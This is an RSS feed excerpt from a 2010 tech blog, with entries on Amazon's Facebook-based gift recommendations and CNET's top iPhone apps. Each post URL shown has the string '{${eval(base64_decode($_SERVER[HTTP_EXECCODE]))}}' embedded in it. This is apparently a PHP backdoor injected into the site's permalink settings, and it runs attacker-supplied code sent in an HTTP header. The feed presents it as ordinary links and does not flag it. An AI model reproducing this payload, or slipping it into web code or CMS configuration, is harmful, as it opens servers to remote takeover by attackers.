Web 2.0 Portals http://www.web20portals.com The Web 2.0 Portals Blog of the Web 2.0 World. Wed, 28 Jul 2010 23:07:08 +0000 http://wordpress.org/?v=2.2.3 en Amazon friends Facebook to offer gift ideas http://www.web20portals.com/2010/07/28/amazon-friends-facebook-to-offer-gift-ideas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.web20portals.com/2010/07/28/amazon-friends-facebook-to-offer-gift-ideas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 28 Jul 2010 23:07:08 +0000 admin New deal between the companies enables Amazon shoppers to receive product recommendations for themselves and their friends based on their Facebook profiles.

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]]> http://www.web20portals.com/2010/07/28/check-in-craze-moves-beyond-location/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Winners of CNET 100: Your top 10 iPhone apps http://www.web20portals.com/2010/07/28/winners-of-cnet-100-your-top-10-iphone-apps/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.web20portals.com/2010/07/28/winners-of-cnet-100-your-top-10-iphone-apps/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 28 Jul 2010 09:07:00 +0000 admin For two business weeks, CNET editors submitted their favorite iPhone apps for you, our readers, for your votes. Now the votes have been tallied and the results are in. See which are your top apps.

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